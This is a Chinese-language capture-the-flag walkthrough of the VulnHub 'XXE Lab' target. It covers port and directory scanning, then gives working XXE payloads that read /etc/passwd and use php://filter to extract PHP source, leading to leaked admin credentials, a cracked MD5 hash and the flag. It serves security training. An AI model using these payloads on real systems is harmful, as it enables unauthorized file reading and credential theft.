9.xxe lab

XXE lab

如果你正在学习xxe漏洞 , 那么xxe lab , 绝对是一个适合你练手的靶场

https://www.vulnhub.com/entry/xxe-lab-1,254/

靶机 : xxe lab

渗透机 : kali + win10

补充 : 因为靶机自带的是nat网络 , 如果需要更改 , 别忘记啦

0x01. 信息收集

1. 确定靶机ip

扫描当前网段ip

9.xxe lab

kali : 192.168.0.110 靶机 : 192.168.0.111

2. 扫描端口

nmap -p 0-65535 -sV 192.168.0.111

9.xxe lab

发现开了80和5355端口 , 不知道是什么 , 都访问一下吧 , 80 http端口 , 5355不是http端口

9.xxe lab

发现是apache默认页面 , 接下来扫描一下目录看看

9.xxe lab

发现一个robots.txt , 肯定是一个hint信息 , 访问一下吧

9.xxe lab

上一个可以访问 , 但是发现admin.php访问不了 ,访问一下xxe试试

9.xxe lab

是一个登录窗口 , 抓包 , 先爆破一下弱口令试试 , 发现竟然是xml传输的数据

9.xxe lab

那你不先试试有没有xxe漏洞 , 你说是不是铁子

补充 : 由于admin.php不能访问 , 于是我又扫了一下xxe目录下的路径 , 发现了一个admin.php , 还是可以访问的

9.xxe lab

这个肯定是一个线索 , 我们先对xxe.php登录进行渗透

0x02. 漏洞发现

1.xxe漏洞

xxe是分为有回显和无回显的 , 先来测测看看

9.xxe lab

通过更改name的值 , 发现在返回包中会有显示 , 那就是有回显啦 , 先来个poc测一测

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY[
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
 <root><name>&xxe;</name><password>admin</password></root>
 
 <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY[
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<name>&xxe;</name>

9.xxe lab

2. 漏洞利用->flag

这不美滋滋 , 嘿嘿 , 可以读文件 , 那就读一下/xxe/admin.php看看源码怎么写的 , 因为关于后台肯定会有线索

最好用base64编码之后在读取 , 防止显示乱码

payload

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY[
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
]>
 <root><name>&xxe;</name><password>admin</password></root>

9.xxe lab

注意这个细节 , admin.php , 默认是因为当前url的路径下 , 即xxe/admin.php , 然后选中内容发送到decoder解码

9.xxe lab

解码出现的内容复制到记事本 , 方便观看 ,你不复制直接看也行 , 发现一串认证代码

  if ($_POST['username'] == 'administhebest' && 
                  md5($_POST['password']) == 'e6e061838856bf47e1de730719fb2609') {
                  $_SESSION['valid'] = true;
                  $_SESSION['timeout'] = time();
                  $_SESSION['username'] = 'administhebest';
                  
                echo "You have entered valid use name and password <br />";
                // 发现flag
		$flag = "Here is the <a style='color:FF0000;' href='/flagmeout.php'>Flag</a>";
		echo $flag;

好家伙 , 账号 : administhebest

密码 : e6e061838856bf47e1de730719fb2609 , cmd5撞一下

9.xxe lab

admin@123 , ok , 接下来就是带着这些数据访问/xxe/admin.php啦 , 注意还有一个login参数

9.xxe lab

发现了久违的flag , 点击

9.xxe lab

我靠 , 无法访问 , 继续老规矩用我们的xxe , 去读一下这个flag文件的源码

注意这个小细节 , resource=默认是当前url的相对路径 , 但是flag文件是根目录下的 , 所以我们用./flagmeout.php

9.xxe lab

9.xxe lab

发现flag文件路径隐藏在这个一串不知名的编码 , 实际上是base32 , 相对于base64没有两个等于号 , 而且也是数字加字母 , 主要是看长度判断的 , 市面上常用的就那几种编码

解码 : base32 --> base64 --> 明文

9.xxe lab

9.xxe lab

发现flag文件在这个目录下 , 继续用我们的xxe读一下文件吧 , 注意小细节: 绝对路径

9.xxe lab

解码

9.xxe lab

发现是一串不知名的字符串 , 但是发现了很多的$和; , 再加上是.php文件 , 应该是php代码 , 去在线运行php代码网站 , 试一试

9.xxe lab

9.xxe lab

注意: php代码在线执行的php版本 , 如果报错多试几个

9.xxe lab

上一篇:Ubuntu 安装配置Jupyter lab


下一篇:FISCO BCOS 微众银行 WeDPR 隐私解决方案 资料汇总